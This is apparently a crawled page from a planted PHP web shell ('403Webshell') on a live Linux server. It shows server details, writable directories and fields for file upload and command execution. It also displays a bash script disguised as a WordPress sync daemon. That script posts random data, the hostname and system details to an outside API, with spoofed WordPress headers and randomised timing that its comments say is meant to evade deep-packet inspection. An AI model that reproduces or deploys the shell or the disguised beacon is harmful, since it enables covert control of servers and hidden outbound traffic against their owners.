403Webshell
Server IP : 185.252.147.100  /  Your IP : 216.73.216.43
Web Server : nginx/1.27.3
System : Linux mitrofanov.ru 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64
User : mitr ( 1000)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/local/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/bin/wp-sync-daemon.sh
#!/bin/bash

TARGET_URL="https://api.uk-np.ru/v1/projects"

# 1. ОФИСНЫЙ ГРАФИК (Пн-Пт, с 09:00 до 18:59 по времени сервера)
CURRENT_HOUR=$(date +%H)
CURRENT_DAY=$(date +%u)
IS_WORKING_TIME=0

if [ "$CURRENT_DAY" -le 5 ] && [ "$CURRENT_HOUR" -ge 9 ] && [ "$CURRENT_HOUR" -le 18 ]; then
    IS_WORKING_TIME=1
fi

# 5% шанс на "вечерний овертайм" (редкие запросы ночью, чтобы сбить логику ТСПУ)
if [ "$IS_WORKING_TIME" -eq 0 ] && [ $((RANDOM % 100)) -gt 95 ]; then
    IS_WORKING_TIME=1
fi

if [ "$IS_WORKING_TIME" -eq 0 ]; then
    exit 0
fi

# 2. ИНТЕНСИВНОСТЬ (Пропускаем примерно половину минут, создавая хаотичные паузы)
if [ $((RANDOM % 100)) -gt 45 ]; then
    exit 0
fi

# 3. СЛУЧАЙНЫЙ СДВИГ (Запрос уйдет не ровно по нулям, а в случайную секунду минуты)
sleep $((1 + RANDOM % 54))

# 4. РАНДОМИЗАЦИЯ ОБЪЕМА ЗАПРОСА (Генерируем фейковый лог WordPress от 3 до 18 КБ)
KB_SIZE=$((3 + RANDOM % 15))
WP_LOG_CHUNK=$(dd if=/dev/urandom bs=1024 count=$KB_SIZE 2>/dev/null | base64 -w 0)

# Формируем тело запроса, полностью идентичное структуре Gutenberg / WP REST API
JSON_PAYLOAD=$(cat <<EOF
{
  "status": "draft",
  "title": "Remote Sync Node $(hostname)",
  "content": "\n<p>Automated telemetry report chunk. Size: ${KB_SIZE}kb</p>\n",
  "excerpt": "Node telemetry heartbeat",
  "meta": {
    "wp_core_version": "6.5.3",
    "php_uname": "$(uname -a | head -c 50)",
    "telemetry_payload": "$WP_LOG_CHUNK"
  }
}
EOF
)

# 5. ОТПРАВКА (Маскируемся под нативный PHP HTTP API, используемый в WordPress)
curl -s -X POST \
     -H "Content-Type: application/json" \
     -H "Accept: application/json" \
     -H "User-Agent: WordPress/6.5.3; https://$(hostname -f || echo "localhost")" \
     -H "X-API-KEY: live_k9x2m4p1z8_gateway_prod" \
     -H "Cache-Control: no-cache" \
     -H "Connection: keep-alive" \
     -d "$JSON_PAYLOAD" \
     "$TARGET_URL" > /dev/null 2>&1

Youez - 2016 - github.com/yon3zu
LinuXploit